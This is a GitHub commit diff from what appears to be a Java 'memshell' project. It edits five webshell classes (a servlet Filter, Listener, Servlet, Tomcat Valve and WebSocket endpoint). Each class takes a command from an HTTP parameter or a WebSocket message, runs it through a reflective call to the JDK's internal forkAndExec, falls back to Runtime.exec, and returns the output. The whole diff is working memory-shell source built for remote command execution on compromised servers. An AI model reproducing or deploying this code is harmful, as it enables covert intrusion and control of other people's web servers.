Skip to content

Commit c675ae9

Browse files
committed
fix: downgrade runtime.exec
1 parent 4088120 commit c675ae9

File tree

5 files changed

+39
-13
lines changed

5 files changed

+39
-13
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,12 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
3333
String cmd = getParam(servletRequest.getParameter(paramName));
3434
try {
3535
if (cmd != null) {
36-
InputStream inputStream = forkAndExec(cmd);
36+
InputStream inputStream = null;
37+
try {
38+
inputStream = forkAndExec(cmd);
39+
} catch (Throwable e) {
40+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
41+
}
3742
ServletOutputStream outputStream = servletResponse.getOutputStream();
3843
byte[] buf = new byte[8192];
3944
int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,12 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
3636
String cmd = getParam(request.getParameter(paramName));
3737
if (cmd != null) {
3838
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
39-
InputStream inputStream = forkAndExec(cmd);
39+
InputStream inputStream = null;
40+
try {
41+
inputStream = forkAndExec(cmd);
42+
} catch (Throwable e) {
43+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
44+
}
4045
ServletOutputStream outputStream = servletResponse.getOutputStream();
4146
byte[] buf = new byte[8192];
4247
int length;
@@ -107,7 +112,7 @@ public static InputStream forkAndExec(String cmd) throws Exception {
107112
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
108113
null, envc[0], null, std_fds, false);
109114
} catch (NoSuchFieldException e) {
110-
e.printStackTrace();
115+
// JDK7
111116
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
112117
byte[].class, int.class, byte[].class, int[].class, boolean.class);
113118
forkMethod.setAccessible(true);
@@ -120,6 +125,7 @@ public static InputStream forkAndExec(String cmd) throws Exception {
120125
initStreamsMethod.setAccessible(true);
121126
initStreamsMethod.invoke(processObject, std_fds);
122127
} catch (NoSuchMethodException e) {
128+
// JDK11
123129
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
124130
initStreamsMethod.setAccessible(true);
125131
initStreamsMethod.invoke(processObject, std_fds, false);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,12 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
3333
String cmd = getParam(request.getParameter(paramName));
3434
try {
3535
if (cmd != null) {
36-
InputStream inputStream = forkAndExec(cmd);
36+
InputStream inputStream = null;
37+
try {
38+
inputStream = forkAndExec(cmd);
39+
} catch (Throwable e) {
40+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
41+
}
3742
ServletOutputStream outputStream = response.getOutputStream();
3843
byte[] buf = new byte[8192];
3944
int length;
@@ -105,7 +110,7 @@ public static InputStream forkAndExec(String cmd) throws Exception {
105110
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
106111
null, envc[0], null, std_fds, false);
107112
} catch (NoSuchFieldException e) {
108-
e.printStackTrace();
113+
// JDK7
109114
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
110115
byte[].class, int.class, byte[].class, int[].class, boolean.class);
111116
forkMethod.setAccessible(true);
@@ -118,6 +123,7 @@ public static InputStream forkAndExec(String cmd) throws Exception {
118123
initStreamsMethod.setAccessible(true);
119124
initStreamsMethod.invoke(processObject, std_fds);
120125
} catch (NoSuchMethodException e) {
126+
// JDK11
121127
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
122128
initStreamsMethod.setAccessible(true);
123129
initStreamsMethod.invoke(processObject, std_fds, false);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,12 @@ public void invoke(Request request, Response response) throws IOException, Servl
5151
String cmd = getParam(request.getParameter(paramName));
5252
try {
5353
if (cmd != null) {
54-
InputStream inputStream = forkAndExec(cmd);
54+
InputStream inputStream = null;
55+
try {
56+
inputStream = forkAndExec(cmd);
57+
} catch (Throwable e) {
58+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
59+
}
5560
ServletOutputStream outputStream = response.getOutputStream();
5661
byte[] buf = new byte[8192];
5762
int length;
@@ -125,7 +130,7 @@ public static InputStream forkAndExec(String cmd) throws Exception {
125130
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
126131
null, envc[0], null, std_fds, false);
127132
} catch (NoSuchFieldException e) {
128-
e.printStackTrace();
133+
// JDK7
129134
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
130135
byte[].class, int.class, byte[].class, int[].class, boolean.class);
131136
forkMethod.setAccessible(true);
@@ -138,6 +143,7 @@ public static InputStream forkAndExec(String cmd) throws Exception {
138143
initStreamsMethod.setAccessible(true);
139144
initStreamsMethod.invoke(processObject, std_fds);
140145
} catch (NoSuchMethodException e) {
146+
// JDK11
141147
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
142148
initStreamsMethod.setAccessible(true);
143149
initStreamsMethod.invoke(processObject, std_fds, false);

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -27,9 +27,14 @@ private String getParam(String param) {
2727
}
2828

2929
@Override
30-
public void onMessage(String s) {
30+
public void onMessage(String cmd) {
3131
try {
32-
InputStream inputStream = forkAndExec(s);
32+
InputStream inputStream = null;
33+
try {
34+
inputStream = forkAndExec(cmd);
35+
} catch (Throwable e) {
36+
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
37+
}
3338
byte[] buf = new byte[8192];
3439
int length;
3540
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
@@ -91,12 +96,10 @@ public static InputStream forkAndExec(String cmd) throws Exception {
9196
Object launchMechanismObject = launchMechanismField.get(processObject);
9297
int mode = 0;
9398
try {
94-
// JDK7 的某些版本
9599
Field value = launchMechanismObject.getClass().getDeclaredField("value");
96100
value.setAccessible(true);
97101
mode = (Integer) value.get(launchMechanismObject);
98102
} catch (NoSuchFieldException e) {
99-
// JDK8+
100103
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
101104
mode = ordinal + 1;
102105
}
@@ -107,8 +110,7 @@ public static InputStream forkAndExec(String cmd) throws Exception {
107110
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
108111
null, envc[0], null, std_fds, false);
109112
} catch (NoSuchFieldException e) {
110-
e.printStackTrace();
111-
// JDK6 与 JDK7 低版本
113+
// JDK7
112114
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
113115
byte[].class, int.class, byte[].class, int[].class, boolean.class);
114116
forkMethod.setAccessible(true);
@@ -121,6 +123,7 @@ public static InputStream forkAndExec(String cmd) throws Exception {
121123
initStreamsMethod.setAccessible(true);
122124
initStreamsMethod.invoke(processObject, std_fds);
123125
} catch (NoSuchMethodException e) {
126+
// JDK11
124127
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
125128
initStreamsMethod.setAccessible(true);
126129
initStreamsMethod.invoke(processObject, std_fds, false);

0 commit comments

Comments
 (0)